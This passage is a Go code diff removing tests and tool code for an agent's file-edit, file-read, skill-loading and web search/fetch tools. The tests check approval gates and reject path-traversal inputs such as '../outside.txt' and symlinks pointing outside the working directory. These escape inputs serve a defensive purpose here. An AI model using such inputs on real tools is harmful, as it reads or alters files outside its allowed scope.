-		"path": "note.txt",
-		"edits": []any{
-			map[string]any{"old_text": "abc", "new_text": "def"},
-			map[string]any{"old_text": "def", "new_text": "ghi"},
-		},
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-
-	content, err := os.ReadFile(path)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if string(content) != "def ghi\n" {
-		t.Fatalf("content = %q", content)
-	}
-}
-
-func TestEditRejectsOverlappingEdits(t *testing.T) {
-	dir := t.TempDir()
-	path := filepath.Join(dir, "note.txt")
-	if err := os.WriteFile(path, []byte("abc\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-
-	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
-		"path": "note.txt",
-		"edits": []any{
-			map[string]any{"old_text": "ab", "new_text": "x"},
-			map[string]any{"old_text": "bc", "new_text": "y"},
-		},
-	})
-	if err == nil {
-		t.Fatal("expected overlapping edits to fail")
-	}
-	if !strings.Contains(err.Error(), "overlap") {
-		t.Fatalf("err = %v", err)
-	}
-}
-
-func TestEditMultipleEditsNotFoundIndexed(t *testing.T) {
-	dir := t.TempDir()
-	path := filepath.Join(dir, "note.txt")
-	if err := os.WriteFile(path, []byte("hello world\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-
-	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
-		"path": "note.txt",
-		"edits": []any{
-			map[string]any{"old_text": "hello", "new_text": "hi"},
-			map[string]any{"old_text": "missing", "new_text": "x"},
-		},
-	})
-	if err == nil {
-		t.Fatal("expected missing edit to fail")
-	}
-	if !strings.Contains(err.Error(), "edits[1]") {
-		t.Fatalf("err = %v", err)
-	}
-}
-
-func TestEditMultipleEditsAmbiguousIndexed(t *testing.T) {
-	dir := t.TempDir()
-	path := filepath.Join(dir, "note.txt")
-	if err := os.WriteFile(path, []byte("hello same same\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-
-	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
-		"path": "note.txt",
-		"edits": []any{
-			map[string]any{"old_text": "hello", "new_text": "hi"},
-			map[string]any{"old_text": "same", "new_text": "x"},
-		},
-	})
-	if err == nil {
-		t.Fatal("expected ambiguous edit to fail")
-	}
-	if !strings.Contains(err.Error(), "edits[1]") || !strings.Contains(err.Error(), "matched 2 times") {
-		t.Fatalf("err = %v", err)
-	}
-}
-
-func TestEditRejectsEmptyEdits(t *testing.T) {
-	dir := t.TempDir()
-	path := filepath.Join(dir, "note.txt")
-	if err := os.WriteFile(path, []byte("hello\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-
-	for name, args := range map[string]map[string]any{
-		"missing edits": {"path": "note.txt"},
-		"empty edits":   {"path": "note.txt", "edits": []any{}},
-	} {
-		if _, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, args); err == nil {
-			t.Fatalf("%s: expected error", name)
-		} else if !strings.Contains(err.Error(), "edits parameter is required") {
-			t.Fatalf("%s: err = %v", name, err)
-		}
-	}
-}
-
-func TestEditRejectsEmptyOldTextInArray(t *testing.T) {
-	dir := t.TempDir()
-	path := filepath.Join(dir, "note.txt")
-	if err := os.WriteFile(path, []byte("hello\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-
-	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
-		"path": "note.txt",
-		"edits": []any{
-			map[string]any{"old_text": "hello", "new_text": "hi"},
-			map[string]any{"old_text": "", "new_text": "x"},
-		},
-	})
-	if err == nil {
-		t.Fatal("expected empty old_text to fail")
-	}
-	if !strings.Contains(err.Error(), "edits[1].old_text must not be empty") {
-		t.Fatalf("err = %v", err)
-	}
-}
-
-func TestEditAcceptsJSONStringEdits(t *testing.T) {
-	dir := t.TempDir()
-	path := filepath.Join(dir, "note.txt")
-	if err := os.WriteFile(path, []byte("hello world\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-
-	// Some models serialize array arguments as a JSON string.
-	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
-		"path":  "note.txt",
-		"edits": `[{"oldText": "hello", "newText": "hi"}, {"oldText": "world", "newText": "earth"}]`,
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-
-	content, err := os.ReadFile(path)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if string(content) != "hi earth\n" {
-		t.Fatalf("content = %q", content)
-	}
-}
-
-func TestEditRejectsReplaceAllWithMultipleEdits(t *testing.T) {
-	dir := t.TempDir()
-	path := filepath.Join(dir, "note.txt")
-	if err := os.WriteFile(path, []byte("a b c\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-
-	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
-		"path":        "note.txt",
-		"replace_all": true,
-		"edits": []any{
-			map[string]any{"old_text": "a", "new_text": "x"},
-			map[string]any{"old_text": "b", "new_text": "y"},
-		},
-	})
-	if err == nil {
-		t.Fatal("expected replace_all with multiple edits to fail")
-	}
-	if !strings.Contains(err.Error(), "replace_all") {
-		t.Fatalf("err = %v", err)
-	}
-}
-
-func TestEditRejectsNoChange(t *testing.T) {
-	dir := t.TempDir()
-	path := filepath.Join(dir, "note.txt")
-	if err := os.WriteFile(path, []byte("hello\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-
-	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
-		"path":     "note.txt",
-		"old_text": "hello",
-		"new_text": "hello",
-	})
-	if err == nil {
-		t.Fatal("expected no-change edit to fail")
-	}
-	if !strings.Contains(err.Error(), "no changes") {
-		t.Fatalf("err = %v", err)
-	}
-}
-
-func TestEditRejectsEscapingPath(t *testing.T) {
-	dir := t.TempDir()
-	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
-		"path":     "../outside.txt",
-		"old_text": "old",
-		"new_text": "new",
-	})
-	if err == nil {
-		t.Fatal("expected escaping path to fail")
-	}
-	if !strings.Contains(err.Error(), "path escapes working directory") {
-		t.Fatalf("err = %v", err)
-	}
-}
-
-func TestEditRejectsSymlinkEscape(t *testing.T) {
-	dir := t.TempDir()
-	outside := t.TempDir()
-	if err := os.WriteFile(filepath.Join(outside, "note.txt"), []byte("old\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-	if err := os.Symlink(outside, filepath.Join(dir, "link")); err != nil {
-		t.Skipf("symlinks unavailable: %v", err)
-	}
-
-	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
-		"path":     filepath.Join("link", "note.txt"),
-		"old_text": "old",
-		"new_text": "new",
-	})
-	if err == nil {
-		t.Fatal("expected symlink escape to fail")
-	}
-	if !strings.Contains(err.Error(), "path escapes working directory") {
-		t.Fatalf("err = %v", err)
-	}
-
-	content, err := os.ReadFile(filepath.Join(outside, "note.txt"))
-	if err != nil {
-		t.Fatal(err)
-	}
-	if string(content) != "old\n" {
-		t.Fatalf("outside content changed to %q", content)
-	}
-}
-
-func TestEditRejectsFinalSymlink(t *testing.T) {
-	dir := t.TempDir()
-	target := filepath.Join(dir, "target.txt")
-	if err := os.WriteFile(target, []byte("old\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-	link := filepath.Join(dir, "link.txt")
-	if err := os.Symlink("target.txt", link); err != nil {
-		t.Skipf("symlinks unavailable: %v", err)
-	}
-
-	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
-		"path":     "link.txt",
-		"old_text": "old",
-		"new_text": "new",
-	})
-	if err == nil {
-		t.Fatal("expected final symlink edit to fail")
-	}
-	if !strings.Contains(err.Error(), "is a symlink") {
-		t.Fatalf("err = %v", err)
-	}
-	content, err := os.ReadFile(target)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if string(content) != "old\n" {
-		t.Fatalf("target content changed to %q", content)
-	}
-	info, err := os.Lstat(link)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if info.Mode()&os.ModeSymlink == 0 {
-		t.Fatalf("link mode = %v, want symlink", info.Mode())
-	}
-}
-
-func TestReadRejectsParentOutsideCurrentWorkingDir(t *testing.T) {
-	root := t.TempDir()
-	subdir := filepath.Join(root, "sub")
-	if err := os.Mkdir(subdir, 0o755); err != nil {
-		t.Fatal(err)
-	}
-	if err := os.WriteFile(filepath.Join(root, "note.txt"), []byte("hello"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-
-	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: subdir}, map[string]any{
-		"path": "../note.txt",
-	})
-	if err == nil {
-		t.Fatal("expected parent path to fail")
-	}
-	if !strings.Contains(err.Error(), "path escapes working directory") {
-		t.Fatalf("err = %v", err)
-	}
-}
-
-func TestReadRequiresApproval(t *testing.T) {
-	if !agent.ToolRequiresApproval((&Read{}), map[string]any{"path": "note.txt"}) {
-		t.Fatal("read should require approval")
-	}
-}
-
-func TestReadDefaultsToEntireFile(t *testing.T) {
-	dir := t.TempDir()
-	content := "one\ntwo\nthree\n"
-	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte(content), 0o644); err != nil {
-		t.Fatal(err)
-	}
-
-	result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
-		"path": "note.txt",
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if result.Content != content {
-		t.Fatalf("content = %q", result.Content)
-	}
-}
-
-func TestReadAllowsAbsolutePath(t *testing.T) {
-	dir := t.TempDir()
-	path := filepath.Join(dir, "note.txt")
-	content := "one\ntwo\nthree\n"
-	if err := os.WriteFile(path, []byte(content), 0o644); err != nil {
-		t.Fatal(err)
-	}
-
-	result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
-		"path": path,
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if result.Content != content {
-		t.Fatalf("content = %q", result.Content)
-	}
-}
-
-func TestReadRejectsAbsoluteSymlink(t *testing.T) {
-	dir := t.TempDir()
-	target := filepath.Join(dir, "target.txt")
-	if err := os.WriteFile(target, []byte("hello\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-	link := filepath.Join(dir, "alias")
-	if err := os.Symlink(target, link); err != nil {
-		t.Skipf("symlinks unavailable: %v", err)
-	}
-
-	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
-		"path": link,
-	})
-	if err == nil {
-		t.Fatal("expected absolute symlink to be rejected")
-	}
-	if !strings.Contains(err.Error(), "symlink") {
-		t.Fatalf("err = %v, want symlink rejection", err)
-	}
-}
-
-func TestReadStartEnd(t *testing.T) {
-	dir := t.TempDir()
-	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-
-	result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
-		"path":  "note.txt",
-		"start": 2,
-		"end":   3,
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if result.Content != "two\nthree\n" {
-		t.Fatalf("content = %q", result.Content)
-	}
-}
-
-func TestReadStartOnly(t *testing.T) {
-	dir := t.TempDir()
-	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-
-	result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
-		"path":  "note.txt",
-		"start": 3,
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if result.Content != "three\nfour\n" {
-		t.Fatalf("content = %q", result.Content)
-	}
-}
-
-func TestReadEndOnly(t *testing.T) {
-	dir := t.TempDir()
-	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-
-	result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
-		"path": "note.txt",
-		"end":  2,
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if result.Content != "one\ntwo\n" {
-		t.Fatalf("content = %q", result.Content)
-	}
-}
-
-func TestReadSelectionRejectsHugeSingleLine(t *testing.T) {
-	dir := t.TempDir()
-	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte(strings.Repeat("x", maxReadBytes+1)), 0o644); err != nil {
-		t.Fatal(err)
-	}
-
-	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
-		"path":  "note.txt",
-		"start": 1,
-		"end":   1,
-	})
-	if err == nil {
-		t.Fatal("expected huge selected line to fail")
-	}
-	if !strings.Contains(err.Error(), "selected content is too large") {
-		t.Fatalf("err = %v", err)
-	}
-}
-
-func TestReadAllWithinLimitRejectsGrowingRead(t *testing.T) {
-	reader := io.MultiReader(
-		strings.NewReader(strings.Repeat("x", maxReadBytes)),
-		strings.NewReader("x"),
-	)
-
-	_, err := readAllWithinLimit(reader, maxReadBytes)
-	if err == nil {
-		t.Fatal("expected over-limit read to fail")
-	}
-	if !strings.Contains(err.Error(), "content is too large") {
-		t.Fatalf("err = %v", err)
-	}
-}
-
-func TestReadRejectsInvalidRange(t *testing.T) {
-	dir := t.TempDir()
-	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-
-	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
-		"path":  "note.txt",
-		"start": 4,
-		"end":   2,
-	})
-	if err == nil {
-		t.Fatal("expected invalid range to fail")
-	}
-	if !strings.Contains(err.Error(), "end must") {
-		t.Fatalf("err = %v", err)
-	}
-}

agent/tools/file_unix_test.go

@@ -1,121 +0,0 @@
-//go:build !windows
-
-package tools
-
-import (
-	"context"
-	"os"
-	"path/filepath"
-	"strings"
-	"syscall"
-	"testing"
-	"time"
-
-	"github.com/ollama/ollama/agent"
-)
-
-func TestOpenRegularFileRejectsFIFO(t *testing.T) {
-	dir := t.TempDir()
-	path := filepath.Join(dir, "pipe")
-	if err := syscall.Mkfifo(path, 0o600); err != nil {
-		t.Skipf("mkfifo unavailable: %v", err)
-	}
-
-	done := make(chan error, 1)
-	go func() {
-		file, _, err := openRegularFile(dir, "pipe", false)
-		if file != nil {
-			file.Close()
-		}
-		done <- err
-	}()
-
-	select {
-	case err := <-done:
-		if err == nil {
-			t.Fatal("expected FIFO to be rejected")
-		}
-		if !strings.Contains(err.Error(), "not a regular file") {
-			t.Fatalf("err = %v", err)
-		}
-	case <-time.After(time.Second):
-		t.Fatal("openRegularFile blocked on FIFO")
-	}
-}
-
-func TestEditPreservesModeDespiteUmask(t *testing.T) {
-	oldUmask := syscall.Umask(0o077)
-	defer syscall.Umask(oldUmask)
-
-	dir := t.TempDir()
-	path := filepath.Join(dir, "note.txt")
-	if err := os.WriteFile(path, []byte("hello\n"), 0o666); err != nil {
-		t.Fatal(err)
-	}
-	if err := os.Chmod(path, 0o666); err != nil {
-		t.Fatal(err)
-	}
-
-	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
-		"path":     "note.txt",
-		"old_text": "hello",
-		"new_text": "hi",
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-
-	info, err := os.Stat(path)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if got := info.Mode().Perm(); got != 0o666 {
-		t.Fatalf("mode = %#o, want 0666", got)
-	}
-}
-
-func TestReadRejectsSymlinkEscapingWorkingDir(t *testing.T) {
-	root := t.TempDir()
-	secret := filepath.Join(t.TempDir(), "secret.txt")
-	if err := os.WriteFile(secret, []byte("top secret\n"), 0o600); err != nil {
-		t.Fatal(err)
-	}
-	link := filepath.Join(root, "notes")
-	if err := os.Symlink(secret, link); err != nil {
-		t.Fatal(err)
-	}
-
-	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: root}, map[string]any{
-		"path": "notes",
-	})
-	if err == nil {
-		t.Fatal("expected symlink escaping working dir to be rejected")
-	}
-	if !strings.Contains(err.Error(), "symlink") {
-		t.Fatalf("err = %v, want symlink rejection", err)
-	}
-}
-
-func TestReadRejectsSymlinkInsideWorkingDirToOutside(t *testing.T) {
-	root := t.TempDir()
-	target := filepath.Join(root, "real.txt")
-	if err := os.WriteFile(target, []byte("hello\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-	// A symlink to a sibling file still resolves inside the root; Read must
-	// reject it regardless, consistent with Edit's rejectFinalSymlink.
-	link := filepath.Join(root, "alias")
-	if err := os.Symlink(target, link); err != nil {
-		t.Fatal(err)
-	}
-
-	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: root}, map[string]any{
-		"path": "alias",
-	})
-	if err == nil {
-		t.Fatal("expected symlink to be rejected even when target is inside root")
-	}
-	if !strings.Contains(err.Error(), "symlink") {
-		t.Fatalf("err = %v, want symlink rejection", err)
-	}
-}

agent/tools/skill.go

@@ -1,41 +0,0 @@
-package tools
-
-import (
-	"context"
-	"errors"
-
-	"github.com/ollama/ollama/agent"
-	"github.com/ollama/ollama/api"
-)
-
-// Skill is the model-facing adapter for the core agent skill catalog.
-// Model-initiated loads require approval because a skill's instructions can
-// influence the rest of the run. Explicit user activation is handled by the
-// session's synthetic skill call and bypasses this adapter.
-type Skill struct{ Catalog *agent.SkillCatalog }
-
-func (t *Skill) Name() string { return "skill" }
-
-func (t *Skill) Description() string {
-	return "Load a named Ollama skill and return its instructions."
-}
-
-func (t *Skill) Schema() api.ToolFunction {
-	props := api.NewToolPropertiesMap()
-	props.Set("name", api.ToolProperty{Type: api.PropertyType{"string"}, Description: "Name of the skill to load."})
-	return api.ToolFunction{Name: t.Name(), Description: t.Description(), Parameters: api.ToolFunctionParameters{Type: "object", Properties: props, Required: []string{"name"}}}
-}
-
-func (t *Skill) RequiresApproval(map[string]any) bool { return true }
-
-func (t *Skill) Execute(_ context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
-	name, ok := args["name"].(string)
-	if !ok {
-		return agent.ToolResult{}, errors.New("name parameter is required")
-	}
-	skill, err := t.Catalog.Load(name)
-	if err != nil {
-		return agent.ToolResult{}, err
-	}
-	return agent.ToolResult{Content: skill.Content()}, nil
-}

agent/tools/skill_test.go

@@ -1,163 +0,0 @@
-package tools
-
-import (
-	"context"
-	"os"
-	"path/filepath"
-	"strings"
-	"testing"
-
-	"github.com/ollama/ollama/agent"
-	"github.com/ollama/ollama/api"
-)
-
-func TestSkillLoadsCoreCatalogWithApproval(t *testing.T) {
-	catalog := testSkillCatalog(t)
-	tool := &Skill{Catalog: catalog}
-	if !agent.ToolRequiresApproval(tool, map[string]any{"name": "release-notes"}) {
-		t.Fatal("model-initiated skill loading should require approval")
-	}
-	result, err := tool.Execute(context.Background(), agent.ToolContext{}, map[string]any{"name": "release-notes"})
-	if err != nil || !strings.Contains(result.Content, "Use concise bullets.") {
-		t.Fatalf("tool result = %#v, %v", result, err)
-	}
-}
-
-func TestModelSkillLoadRequiresApproval(t *testing.T) {
-	for _, tt := range []struct {
-		name        string
-		approval    agent.Approval
-		prompt      bool
-		wantCalls   int
-		wantPrompts int
-		wantResult  string
-	}{
-		{name: "rejected", approval: agent.Approval{Reason: "Skill loading denied."}, prompt: true, wantCalls: 1, wantPrompts: 1, wantResult: "Skill loading denied."},
-		{name: "approved", approval: agent.Approval{Allow: true}, prompt: true, wantCalls: 2, wantPrompts: 1, wantResult: "Use concise bullets."},
-		{name: "headless denied", wantCalls: 1, wantResult: "Tool execution requires approval"},
-	} {
-		t.Run(tt.name, func(t *testing.T) {
-			catalog := testSkillCatalog(t)
-			args := api.NewToolCallFunctionArguments()
-			args.Set("name", "release-notes")
-			client := &skillTestClient{responses: [][]api.ChatResponse{
-				{{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
-					ID:       "call_skill_1",
-					Function: api.ToolCallFunction{Name: "skill", Arguments: args},
-				}}}}},
-				{{Message: api.Message{Role: "assistant", Content: "done"}}},
-			}}
-			var prompter *skillApprovalPrompter
-			var approvalPrompter agent.ApprovalPrompter
-			if tt.prompt {
-				prompter = &skillApprovalPrompter{result: tt.approval}
-				approvalPrompter = prompter
-			}
-			registry := &agent.Registry{}
-			registry.Register(&Skill{Catalog: catalog})
-
-			result, err := (&agent.Session{
-				Client:           client,
-				Tools:            registry,
-				ApprovalPrompter: approvalPrompter,
-			}).Run(context.Background(), agent.RunOptions{
-				Model:       "test",
-				NewMessages: []api.Message{{Role: "user", Content: "load the release-notes skill"}},
-			})
-			if err != nil {
-				t.Fatal(err)
-			}
-			if tt.prompt {
-				if got := len(prompter.requests); got != tt.wantPrompts {
-					t.Fatalf("approval prompts = %d, want %d", got, tt.wantPrompts)
-				}
-				request := prompter.requests[0]
-				if len(request.Calls) != 1 || request.Calls[0].ToolName != "skill" || request.Calls[0].ApprovalScope != "skill" || request.Calls[0].Args["name"] != "release-notes" {
-					t.Fatalf("approval request = %#v", request)
-				}
-			}
-			if got := client.calls; got != tt.wantCalls {
-				t.Fatalf("model calls = %d, want %d", got, tt.wantCalls)
-			}
-			var toolResult string
-			for _, message := range result.Messages {
-				if message.Role == "tool" && message.ToolCallID == "call_skill_1" {
-					toolResult = message.Content
-					break
-				}
-			}
-			if !strings.Contains(toolResult, tt.wantResult) {
-				t.Fatalf("skill tool result = %q, want it to contain %q", toolResult, tt.wantResult)
-			}
-		})
-	}
-}
-
-func TestExplicitSkillActivationBypassesApproval(t *testing.T) {
-	catalog := testSkillCatalog(t)
-	client := &skillTestClient{responses: [][]api.ChatResponse{{{Message: api.Message{Role: "assistant", Content: "done"}}}}}
-	prompter := &skillApprovalPrompter{result: agent.Approval{}}
-	result, err := (&agent.Session{
-		Client:           client,
-		Skills:           catalog,
-		ApprovalPrompter: prompter,
-	}).Run(context.Background(), agent.RunOptions{
-		Model:       "test",
-		NewMessages: []api.Message{{Role: "user", Content: "draft release notes"}},
-		SkillName:   "release-notes",
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(prompter.requests) != 0 {
-		t.Fatalf("explicit activation prompted for approval: %#v", prompter.requests)
-	}
-	if len(result.Messages) != 4 || result.Messages[2].ToolName != "skill" || !strings.Contains(result.Messages[2].Content, "Use concise bullets.") {
-		t.Fatalf("synthetic skill activation = %#v", result.Messages)
-	}
-}
-
-func testSkillCatalog(t *testing.T) *agent.SkillCatalog {
-	t.Helper()
-	dir := t.TempDir()
-	path := filepath.Join(dir, "release-notes")
-	if err := os.Mkdir(path, 0o755); err != nil {
-		t.Fatal(err)
-	}
-	if err := os.WriteFile(filepath.Join(path, "SKILL.md"), []byte("---\nname: release-notes\ndescription: Draft release notes.\n---\nUse concise bullets."), 0o644); err != nil {
-		t.Fatal(err)
-	}
-	catalog, err := agent.DiscoverSkills(dir)
-	if err != nil {
-		t.Fatal(err)
-	}
-	return catalog
-}
-
-type skillTestClient struct {
-	responses [][]api.ChatResponse
-	calls     int
-}
-
-func (c *skillTestClient) Chat(_ context.Context, _ *api.ChatRequest, fn api.ChatResponseFunc) error {
-	if c.calls >= len(c.responses) {
-		return nil
-	}
-	for _, response := range c.responses[c.calls] {
-		if err := fn(response); err != nil {
-			return err
-		}
-	}
-	c.calls++
-	return nil
-}
-
-type skillApprovalPrompter struct {
-	requests []agent.ApprovalRequest
-	result   agent.Approval
-}
-
-func (p *skillApprovalPrompter) PromptApproval(_ context.Context, request agent.ApprovalRequest) (agent.Approval, error) {
-	p.requests = append(p.requests, request)
-	return p.result, nil
-}

agent/tools/web.go

@@ -1,186 +0,0 @@
-package tools
-
-import (
-	"context"
-	"errors"
-	"fmt"
-	"net/url"
-	"strings"
-	"time"
-
-	"github.com/ollama/ollama/agent"
-	"github.com/ollama/ollama/api"
-	internalcloud "github.com/ollama/ollama/internal/cloud"
-)
-
-const (
-	maxWebFetchContentRunes = 60_000
-	webSearchTimeout        = 15 * time.Second
-	webFetchTimeout         = 30 * time.Second
-)
-
-var ErrWebAuthRequired = errors.New("Not authenticated. Run `ollama signin` and try again.")
-
-type WebSearch struct{}
-
-func (w *WebSearch) Name() string {
-	return "web_search"
-}
-
-func (w *WebSearch) Description() string {
-	return "Search the web for current information that may not be in the model's training data."
-}
-
-func (w *WebSearch) Schema() api.ToolFunction {
-	props := api.NewToolPropertiesMap()
-	props.Set("query", api.ToolProperty{
-		Type:        api.PropertyType{"string"},
-		Description: "The search query to look up on the web.",
-	})
-	return api.ToolFunction{
-		Name:        w.Name(),
-		Description: w.Description(),
-		Parameters: api.ToolFunctionParameters{
-			Type:       "object",
-			Properties: props,
-			Required:   []string{"query"},
-		},
-	}
-}
-
-func (w *WebSearch) RequiresApproval(map[string]any) bool {
-	return true
-}
-
-func (w *WebSearch) Execute(ctx context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
-	// TODO: use shared agent.RequiredStringArg for the "query" parameter (see agent package cleanup plan).
-	if internalcloud.Disabled() {
-		return agent.ToolResult{}, errors.New(internalcloud.DisabledError("web search is unavailable"))
-	}
-	query, ok := args["query"].(string)
-	if !ok || strings.TrimSpace(query) == "" {
-		return agent.ToolResult{}, fmt.Errorf("query parameter is required")
-	}
-
-	client, err := api.ClientFromEnvironment()
-	if err != nil {
-		return agent.ToolResult{}, err
-	}
-
-	ctx, cancel := context.WithTimeout(ctx, webSearchTimeout)
-	defer cancel()
-
-	searchResp, err := client.WebSearchExperimental(ctx, &api.WebSearchRequest{Query: query, MaxResults: 5})
-	if err != nil {
-		var authErr api.AuthorizationError
-		if errors.As(err, &authErr) {
-			return agent.ToolResult{}, ErrWebAuthRequired
-		}
-		return agent.ToolResult{}, err
-	}
-	if len(searchResp.Results) == 0 {
-		return agent.ToolResult{Content: "No results found for query: " + query}, nil
-	}
-
-	var sb strings.Builder
-	sb.WriteString(fmt.Sprintf("Search results for: %s\n\n", query))
-	for i, result := range searchResp.Results {
-		sb.WriteString(fmt.Sprintf("%d. %s\n", i+1, result.Title))
-		sb.WriteString(fmt.Sprintf("   URL: %s\n", result.URL))
-		if result.Content != "" {
-			content := []rune(result.Content)
-			if len(content) > 300 {
-				content = append(content[:300], []rune("...")...)
-			}
-			sb.WriteString(fmt.Sprintf("   %s\n", string(content)))
-		}
-		sb.WriteByte('\n')
-	}
-	return agent.ToolResult{Content: sb.String()}, nil
-}
-
-type WebFetch struct{}
-
-func (w *WebFetch) Name() string {
-	return "web_fetch"
-}
-
-func (w *WebFetch) Description() string {
-	return "Fetch and extract text content from a web page."
-}
-
-func (w *WebFetch) Schema() api.ToolFunction {
-	props := api.NewToolPropertiesMap()
-	props.Set("url", api.ToolProperty{
-		Type:        api.PropertyType{"string"},
-		Description: "The URL to fetch and extract content from.",
-	})
-	return api.ToolFunction{
-		Name:        w.Name(),
-		Description: w.Description(),
-		Parameters: api.ToolFunctionParameters{
-			Type:       "object",
-			Properties: props,
-			Required:   []string{"url"},
-		},
-	}
-}
-
-func (w *WebFetch) RequiresApproval(map[string]any) bool {
-	return true
-}
-
-func (w *WebFetch) Execute(ctx context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
-	// TODO: use shared agent.RequiredStringArg for the "url" parameter (see agent package cleanup plan).
-	if internalcloud.Disabled() {
-		return agent.ToolResult{}, errors.New(internalcloud.DisabledError("web fetch is unavailable"))
-	}
-	urlStr, ok := args["url"].(string)
-	if !ok || strings.TrimSpace(urlStr) == "" {
-		return agent.ToolResult{}, fmt.Errorf("url parameter is required")
-	}
-	parsed, err := url.Parse(urlStr)
-	if err != nil {
-		return agent.ToolResult{}, fmt.Errorf("invalid URL: %w", err)
-	}
-	if scheme := strings.ToLower(parsed.Scheme); scheme != "http" && scheme != "https" {
-		return agent.ToolResult{}, fmt.Errorf("unsupported URL scheme %q: only http and https are allowed", parsed.Scheme)
-	}
-
-	client, err := api.ClientFromEnvironment()
-	if err != nil {
-		return agent.ToolResult{}, err
-	}
-
-	ctx, cancel := context.WithTimeout(ctx, webFetchTimeout)
-	defer cancel()
-
-	fetchResp, err := client.WebFetchExperimental(ctx, &api.WebFetchRequest{URL: urlStr})
-	if err != nil {
-		var authErr api.AuthorizationError
-		if errors.As(err, &authErr) {
-			return agent.ToolResult{}, ErrWebAuthRequired
-		}
-		return agent.ToolResult{}, err
-	}
-
-	var sb strings.Builder
-	if fetchResp.Title != "" {
-		sb.WriteString(fmt.Sprintf("Title: %s\n\n", fetchResp.Title))
-	}
-	if fetchResp.Content != "" {
-		sb.WriteString("Content:\n")
-		sb.WriteString(truncateWebFetchContent(fetchResp.Content))
-	} else {
-		sb.WriteString("No content could be extracted from the page.")
-	}
-	return agent.ToolResult{Content: sb.String()}, nil
-}
-
-func truncateWebFetchContent(content string) string {
-	return agent.Truncate(content, agent.TruncateConfig{
-		MaxRunes: maxWebFetchContentRunes,
-		Label:    "tool output",
-		Hint:     "Use a narrower request or search query if more detail is needed.",
-	})
-}

agent/tools/web_test.go

@@ -1,214 +0,0 @@
-package tools
-
-import (
-	"encoding/json"
-	"errors"
-	"net/http"
-	"net/http/httptest"
-	"os"
-	"path/filepath"
-	"strings"
-	"testing"
-
-	coreagent "github.com/ollama/ollama/agent"
-	"github.com/ollama/ollama/api"
-	"github.com/ollama/ollama/envconfig"
-	internalcloud "github.com/ollama/ollama/internal/cloud"
-)
-
-func TestWebToolsRequireApproval(t *testing.T) {
